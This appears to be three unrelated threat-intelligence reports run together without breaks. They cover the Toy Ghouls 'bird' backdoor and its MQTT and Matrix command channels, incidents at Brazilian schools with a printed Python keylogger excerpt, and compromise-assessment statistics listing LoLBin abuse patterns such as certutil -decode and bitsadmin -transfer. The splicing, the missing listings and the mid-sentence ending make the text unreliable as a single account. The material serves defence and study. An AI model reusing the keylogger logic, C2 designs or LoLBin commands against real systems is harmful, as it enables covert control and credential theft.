We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.
The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.
In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.
Key findings and statistics
Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.
Geographical distribution of incident response requests at educational institutions (download)
Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.
The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.
The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.
The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.
For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).
We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.
These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.
Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.
One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.
In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.
During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.
Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.
After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:
Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.
Case 02 – DragonForce deployed via AnyDesk
In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.
Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.
Case 03 – Python keylogger used by an insider
The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.
Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.
MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.
As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.
def get_base_path():
...
def encontrar_proximo_nome(base='cache'):
...
def set_file_hidden(filepath):
...
ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN)
...
with open(log_file, 'a', encoding='utf-8') as f:
f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n')
set_file_hidden(log_file)
...
def is_capslock_on():
return bool(ctypes.windll.user32.GetKeyState(20) & 1)
...
def on_press(key):
...
def on_release(key):
...
def main():
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if __name__ == '__main__':
main()
This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.
Conclusions and recommendations
The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.
Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.
Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.
To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.
The use of outdated systems increases the attack surface, so we recommend that organizations adopt an effective update and patch management policy. It is also important to raise security awareness, since users must understand the risks associated with credential sharing, unknown executables, and unauthorized software.
From a digital forensics and incident response (DFIR) perspective, the reviewed incidents demonstrate that effective incident response activities require correlating multiple forensic artifacts in order to reconstruct the attacker’s actions. Investigators should be aware of how to find information even when logs are missing. Many other artifacts are preserved and can be used for this purpose, such as Amcache, PCA, Prefetch, UserAssist, MFT, and USN Journal. The attackers may fail to erase all traces of their activity, so taking a broad forensic approach is of the utmost importance for determining the scope of the compromise and supporting containment and remediation actions.
Observed TTPs
The table below shows the observed TTPs in our dataset, including cases not detailed in this post.
The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.
This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.
Key trends observed during compromise assessment engagements
Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.
About the Kaspersky Compromise Assessment service
Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.
Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.
Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)
Detection logic families
Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:
Credentials from dumps: 12.4% of all incidents;
Specific living-off-the-land (LOTL) tools: 11.2 %;
Specific malware families: 11.2 %.
These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.
Distribution of detection logic families (download)
Reasons for requesting Kaspersky Compromise Assessment services
Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).
Statistics on the reasons behind CA project requests (download)
When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.
Incident severity breakdown by service engagement reason
Incident severity (%)
High
Medium
Low
Reason for service
Acquiring new company
28.6
42.8
28.6
General audit
27.7
36.7
35.6
Report to an authority
30
46.7
23.3
Checkup after a cybersecurity incident
40.7
25.9
33.4
Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.
Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.
Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.
The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.
Case study: Dormant threat uncovered only by a compromise assessment
A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.
Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:
A cron job that recreates a web shell
A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
A live reverse shell
On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
ClipBanker data stealer persisting via Windows registry
A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
Malicious WMI event consumer with deceptive alias
A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.
Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.
Missed long-term incidents
The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!
Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.
Severity distribution of incidents by MTTD (download)
The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:
For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).
Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.
The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.
Case study: Four-year-old crypto mining activity on domain controllers
In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.
Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.
Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:
bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.
Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.
Unintentional malware preservation
An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.
Web shell incident distribution by severity (download)
One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.
Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.
An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.
One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx
During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.
The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:
Legitimate, yet suspicious: LoLBins and remote management tools
In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.
The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.
LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.
Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)
To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:
Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.
Impact of not having continuous monitoring and proactive threat hunting
Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:
Incident severity breakdown, where 24/7 monitoring or threat hunting is absent
Control type
Low-severity
Medium/high-severity
No continuous monitoring
14%
86%
No threat hunting
16%
84%
Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:
Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.
The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.
Case study: Secure by design without continuous monitoring
The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.
The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.
Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.
Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:
